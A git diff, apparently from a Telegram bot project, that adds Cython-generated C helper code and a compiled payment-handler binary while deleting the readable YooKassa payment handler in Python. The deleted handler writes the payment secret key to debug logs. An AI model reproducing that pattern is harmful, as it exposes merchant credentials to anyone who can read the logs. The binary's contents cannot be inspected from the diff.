char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (long) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (long) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (long) -1; + } else { + stepval = v; + } + v = NULL; + val = (long) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(long) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((long) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(long) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((long) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((long) 1) << (sizeof(long) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (long) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to long"); + return (long) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to long"); + return (long) -1; +} + +/* CIntFromPy */ + static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const int neg_one = (int) -1, const_zero = (int) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(int) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(int, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (int) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + int val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (int) -1; + val = __Pyx_PyInt_As_int(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 2 * PyLong_SHIFT)) { + return (int) (((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 3 * PyLong_SHIFT)) { + return (int) (((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) >= 4 * PyLong_SHIFT)) { + return (int) (((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0])); + } + } + break; + } + } +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030C00A7 + if (unlikely(Py_SIZE(x) < 0)) { + goto raise_neg_overflow; + } +#else + { + int result = PyObject_RichCompareBool(x, Py_False, Py_LT); + if (unlikely(result < 0)) + return (int) -1; + if (unlikely(result == 1)) + goto raise_neg_overflow; + } +#endif + if ((sizeof(int) <= sizeof(unsigned long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned long, PyLong_AsUnsignedLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(unsigned PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, unsigned PY_LONG_LONG, PyLong_AsUnsignedLongLong(x)) +#endif + } + } else { +#if CYTHON_USE_PYLONG_INTERNALS + if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(int, __Pyx_compact_pylong, __Pyx_PyLong_CompactValue(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_SignedDigitCount(x)) { + case -2: + if ((8 * sizeof(int) - 1 > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 2: + if ((8 * sizeof(int) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + return (int) ((((((int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -3: + if ((8 * sizeof(int) - 1 > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 3: + if ((8 * sizeof(int) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + return (int) ((((((((int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case -4: + if ((8 * sizeof(int) - 1 > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, long, -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) (((int)-1)*(((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + case 4: + if ((8 * sizeof(int) > 3 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 4 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(int, unsigned long, (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(int) - 1 > 4 * PyLong_SHIFT)) { + return (int) ((((((((((int)digits[3]) << PyLong_SHIFT) | (int)digits[2]) << PyLong_SHIFT) | (int)digits[1]) << PyLong_SHIFT) | (int)digits[0]))); + } + } + break; + } + } +#endif + if ((sizeof(int) <= sizeof(long))) { + __PYX_VERIFY_RETURN_INT_EXC(int, long, PyLong_AsLong(x)) +#ifdef HAVE_LONG_LONG + } else if ((sizeof(int) <= sizeof(PY_LONG_LONG))) { + __PYX_VERIFY_RETURN_INT_EXC(int, PY_LONG_LONG, PyLong_AsLongLong(x)) +#endif + } + } + { + int val; + int ret = -1; +#if PY_VERSION_HEX >= 0x030d00A6 && !CYTHON_COMPILING_IN_LIMITED_API + Py_ssize_t bytes_copied = PyLong_AsNativeBytes( + x, &val, sizeof(val), Py_ASNATIVEBYTES_NATIVE_ENDIAN | (is_unsigned ? Py_ASNATIVEBYTES_UNSIGNED_BUFFER | Py_ASNATIVEBYTES_REJECT_NEGATIVE : 0)); + if (unlikely(bytes_copied == -1)) { + } else if (unlikely(bytes_copied > (Py_ssize_t) sizeof(val))) { + goto raise_overflow; + } else { + ret = 0; + } +#elif PY_VERSION_HEX < 0x030d0000 && !(CYTHON_COMPILING_IN_PYPY || CYTHON_COMPILING_IN_LIMITED_API) || defined(_PyLong_AsByteArray) + int one = 1; int is_little = (int)*(unsigned char *)&one; + unsigned char *bytes = (unsigned char *)&val; + ret = _PyLong_AsByteArray((PyLongObject *)x, + bytes, sizeof(val), + is_little, !is_unsigned); +#else + PyObject *v; + PyObject *stepval = NULL, *mask = NULL, *shift = NULL; + int bits, remaining_bits, is_negative = 0; + int chunk_size = (sizeof(long) < 8) ? 30 : 62; + if (likely(PyLong_CheckExact(x))) { + v = __Pyx_NewRef(x); + } else { + v = PyNumber_Long(x); + if (unlikely(!v)) return (int) -1; + assert(PyLong_CheckExact(v)); + } + { + int result = PyObject_RichCompareBool(v, Py_False, Py_LT); + if (unlikely(result < 0)) { + Py_DECREF(v); + return (int) -1; + } + is_negative = result == 1; + } + if (is_unsigned && unlikely(is_negative)) { + Py_DECREF(v); + goto raise_neg_overflow; + } else if (is_negative) { + stepval = PyNumber_Invert(v); + Py_DECREF(v); + if (unlikely(!stepval)) + return (int) -1; + } else { + stepval = v; + } + v = NULL; + val = (int) 0; + mask = PyLong_FromLong((1L << chunk_size) - 1); if (unlikely(!mask)) goto done; + shift = PyLong_FromLong(chunk_size); if (unlikely(!shift)) goto done; + for (bits = 0; bits < (int) sizeof(int) * 8 - chunk_size; bits += chunk_size) { + PyObject *tmp, *digit; + long idigit; + digit = PyNumber_And(stepval, mask); + if (unlikely(!digit)) goto done; + idigit = PyLong_AsLong(digit); + Py_DECREF(digit); + if (unlikely(idigit < 0)) goto done; + val |= ((int) idigit) << bits; + tmp = PyNumber_Rshift(stepval, shift); + if (unlikely(!tmp)) goto done; + Py_DECREF(stepval); stepval = tmp; + } + Py_DECREF(shift); shift = NULL; + Py_DECREF(mask); mask = NULL; + { + long idigit = PyLong_AsLong(stepval); + if (unlikely(idigit < 0)) goto done; + remaining_bits = ((int) sizeof(int) * 8) - bits - (is_unsigned ? 0 : 1); + if (unlikely(idigit >= (1L << remaining_bits))) + goto raise_overflow; + val |= ((int) idigit) << bits; + } + if (!is_unsigned) { + if (unlikely(val & (((int) 1) << (sizeof(int) * 8 - 1)))) + goto raise_overflow; + if (is_negative) + val = ~val; + } + ret = 0; + done: + Py_XDECREF(shift); + Py_XDECREF(mask); + Py_XDECREF(stepval); +#endif + if (unlikely(ret)) + return (int) -1; + return val; + } +raise_overflow: + PyErr_SetString(PyExc_OverflowError, + "value too large to convert to int"); + return (int) -1; +raise_neg_overflow: + PyErr_SetString(PyExc_OverflowError, + "can't convert negative value to int"); + return (int) -1; +} + +/* FastTypeChecks */ + #if CYTHON_COMPILING_IN_CPYTHON +static int __Pyx_InBases(PyTypeObject *a, PyTypeObject *b) { + while (a) { + a = __Pyx_PyType_GetSlot(a, tp_base, PyTypeObject*); + if (a == b) + return 1; + } + return b == &PyBaseObject_Type; +} +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (a == b) return 1; + mro = a->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + if (PyTuple_GET_ITEM(mro, i) == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(a, b); +} +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b) { + PyObject *mro; + if (cls == a || cls == b) return 1; + mro = cls->tp_mro; + if (likely(mro)) { + Py_ssize_t i, n; + n = PyTuple_GET_SIZE(mro); + for (i = 0; i < n; i++) { + PyObject *base = PyTuple_GET_ITEM(mro, i); + if (base == (PyObject *)a || base == (PyObject *)b) + return 1; + } + return 0; + } + return __Pyx_InBases(cls, a) || __Pyx_InBases(cls, b); +} +#if PY_MAJOR_VERSION == 2 +static int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject* exc_type2) { + PyObject *exception, *value, *tb; + int res; + __Pyx_PyThreadState_declare + __Pyx_PyThreadState_assign + __Pyx_ErrFetch(&exception, &value, &tb); + res = exc_type1 ? PyObject_IsSubclass(err, exc_type1) : 0; + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + if (!res) { + res = PyObject_IsSubclass(err, exc_type2); + if (unlikely(res == -1)) { + PyErr_WriteUnraisable(err); + res = 0; + } + } + __Pyx_ErrRestore(exception, value, tb); + return res; +} +#else +static CYTHON_INLINE int __Pyx_inner_PyErr_GivenExceptionMatches2(PyObject *err, PyObject* exc_type1, PyObject *exc_type2) { + if (exc_type1) { + return __Pyx_IsAnySubtype2((PyTypeObject*)err, (PyTypeObject*)exc_type1, (PyTypeObject*)exc_type2); + } else { + return __Pyx_IsSubtype((PyTypeObject*)err, (PyTypeObject*)exc_type2); + } +} +#endif +static int __Pyx_PyErr_GivenExceptionMatchesTuple(PyObject *exc_type, PyObject *tuple) { + Py_ssize_t i, n; + assert(PyExceptionClass_Check(exc_type)); + n = PyTuple_GET_SIZE(tuple); +#if PY_MAJOR_VERSION >= 3 + for (i=0; i= 0x030B00A4 + return Py_Version & ~0xFFUL; +#else + const char* rt_version = Py_GetVersion(); + unsigned long version = 0; + unsigned long factor = 0x01000000UL; + unsigned int digit = 0; + int i = 0; + while (factor) { + while ('0' <= rt_version[i] && rt_version[i] <= '9') { + digit = digit * 10 + (unsigned int) (rt_version[i] - '0'); + ++i; + } + version += factor * digit; + if (rt_version[i] != '.') + break; + digit = 0; + factor >>= 8; + ++i; + } + return version; +#endif +} +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer) { + const unsigned long MAJOR_MINOR = 0xFFFF0000UL; + if ((rt_version & MAJOR_MINOR) == (ct_version & MAJOR_MINOR)) + return 0; + if (likely(allow_newer && (rt_version & MAJOR_MINOR) > (ct_version & MAJOR_MINOR))) + return 1; + { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compile time Python version %d.%d " + "of module '%.100s' " + "%s " + "runtime version %d.%d", + (int) (ct_version >> 24), (int) ((ct_version >> 16) & 0xFF), + __Pyx_MODULE_NAME, + (allow_newer) ? "was newer than" : "does not match", + (int) (rt_version >> 24), (int) ((rt_version >> 16) & 0xFF) + ); + return PyErr_WarnEx(NULL, message, 1); + } +} + +/* InitStrings */ + #if PY_MAJOR_VERSION >= 3 +static int __Pyx_InitString(__Pyx_StringTabEntry t, PyObject **str) { + if (t.is_unicode | t.is_str) { + if (t.intern) { + *str = PyUnicode_InternFromString(t.s); + } else if (t.encoding) { + *str = PyUnicode_Decode(t.s, t.n - 1, t.encoding, NULL); + } else { + *str = PyUnicode_FromStringAndSize(t.s, t.n - 1); + } + } else { + *str = PyBytes_FromStringAndSize(t.s, t.n - 1); + } + if (!*str) + return -1; + if (PyObject_Hash(*str) == -1) + return -1; + return 0; +} +#endif +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION >= 3 + __Pyx_InitString(*t, t->p); + #else + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + if (!*t->p) + return -1; + if (PyObject_Hash(*t->p) == -1) + return -1; + #endif + ++t; + } + return 0; +} + +#include +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s) { + size_t len = strlen(s); + if (unlikely(len > (size_t) PY_SSIZE_T_MAX)) { + PyErr_SetString(PyExc_OverflowError, "byte string is too long"); + return -1; + } + return (Py_ssize_t) len; +} +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return __Pyx_PyUnicode_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return PyByteArray_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#if !CYTHON_PEP393_ENABLED +static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +} +#else +static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (likely(PyUnicode_IS_ASCII(o))) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +} +#endif +#endif +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + __Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { + return __Pyx_PyUnicode_AsStringAndSize(o, length); + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY && !CYTHON_COMPILING_IN_LIMITED_API) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { + int retval; + if (unlikely(!x)) return -1; + retval = __Pyx_PyObject_IsTrue(x); + Py_DECREF(x); + return retval; +} +static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { + __Pyx_TypeName result_type_name = __Pyx_PyType_GetName(Py_TYPE(result)); +#if PY_MAJOR_VERSION >= 3 + if (PyLong_Check(result)) { + if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, + "__int__ returned non-int (type " __Pyx_FMT_TYPENAME "). " + "The ability to return an instance of a strict subclass of int is deprecated, " + "and may be removed in a future version of Python.", + result_type_name)) { + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; + } + __Pyx_DECREF_TypeName(result_type_name); + return result; + } +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned non-%.4s (type " __Pyx_FMT_TYPENAME ")", + type_name, type_name, result_type_name); + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { +#if CYTHON_USE_TYPE_SLOTS + PyNumberMethods *m; +#endif + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x) || PyLong_Check(x))) +#else + if (likely(PyLong_Check(x))) +#endif + return __Pyx_NewRef(x); +#if CYTHON_USE_TYPE_SLOTS + m = Py_TYPE(x)->tp_as_number; + #if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = m->nb_int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = m->nb_long(x); + } + #else + if (likely(m && m->nb_int)) { + name = "int"; + res = m->nb_int(x); + } + #endif +#else + if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { + res = PyNumber_Int(x); + } +#endif + if (likely(res)) { +#if PY_MAJOR_VERSION < 3 + if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { +#else + if (unlikely(!PyLong_CheckExact(res))) { +#endif + return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(b); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(b))) { + return __Pyx_PyLong_CompactValue(b); + } else { + const digit* digits = __Pyx_PyLong_Digits(b); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(b); + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject* o) { + if (sizeof(Py_hash_t) == sizeof(Py_ssize_t)) { + return (Py_hash_t) __Pyx_PyIndex_AsSsize_t(o); +#if PY_MAJOR_VERSION < 3 + } else if (likely(PyInt_CheckExact(o))) { + return PyInt_AS_LONG(o); +#endif + } else { + Py_ssize_t ival; + PyObject *x; + x = PyNumber_Index(o); + if (!x) return -1; + ival = PyInt_AsLong(x); + Py_DECREF(x); + return ival; + } +} +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { + return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +/* #### Code section: utility_code_pragmas_end ### */ +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + + + +/* #### Code section: end ### */ +#endif /* Py_PYTHON_H */ diff --git a/handlers/payments/yookassa_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/yookassa_pay.cpython-312-x86_64-linux-gnu.so new file mode 100755 index 00000000..658af055 Binary files /dev/null and b/handlers/payments/yookassa_pay.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/yookassa_pay.py b/handlers/payments/yookassa_pay.py deleted file mode 100644 index 752f2910..00000000 --- a/handlers/payments/yookassa_pay.py +++ /dev/null @@ -1,265 +0,0 @@ -import uuid -from typing import Any - -from aiogram import F, Router, types -from aiogram.fsm.context import FSMContext -from aiogram.fsm.state import State, StatesGroup -from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup -from aiogram.utils.keyboard import InlineKeyboardBuilder -from aiohttp import web -from config import YOOKASSA_ENABLE, YOOKASSA_SECRET_KEY, YOOKASSA_SHOP_ID -from yookassa import Configuration, Payment - -from database import ( - add_connection, - add_payment, - check_connection_exists, - get_key_count, - update_balance, -) -from handlers.payments.utils import send_payment_success_notification -from handlers.texts import PAYMENT_OPTIONS -from logger import logger - -router = Router() - -if YOOKASSA_ENABLE: - Configuration.account_id = YOOKASSA_SHOP_ID - Configuration.secret_key = YOOKASSA_SECRET_KEY - logger.debug(f"Account ID: {YOOKASSA_SHOP_ID}") - logger.debug(f"Secret Key: {YOOKASSA_SECRET_KEY}") - - -class ReplenishBalanceState(StatesGroup): - choosing_amount_yookassa = State() - waiting_for_payment_confirmation_yookassa = State() - entering_custom_amount_yookassa = State() - - -@router.callback_query(F.data == "pay_yookassa") -async def process_callback_pay_yookassa( - callback_query: types.CallbackQuery, state: FSMContext, session: Any -): - tg_id = callback_query.message.chat.id - - builder = InlineKeyboardBuilder() - - for i in range(0, len(PAYMENT_OPTIONS), 2): - if i + 1 < len(PAYMENT_OPTIONS): - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', - ), - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i + 1]["text"], - callback_data=f'yookassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - ), - ) - else: - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'yookassa_{PAYMENT_OPTIONS[i]["callback_data"]}', - ) - ) - builder.row( - InlineKeyboardButton( - text="💰 Ввести свою сумму", - callback_data="enter_custom_amount_yookassa", - ) - ) - builder.row(InlineKeyboardButton(text="⬅️ Назад", 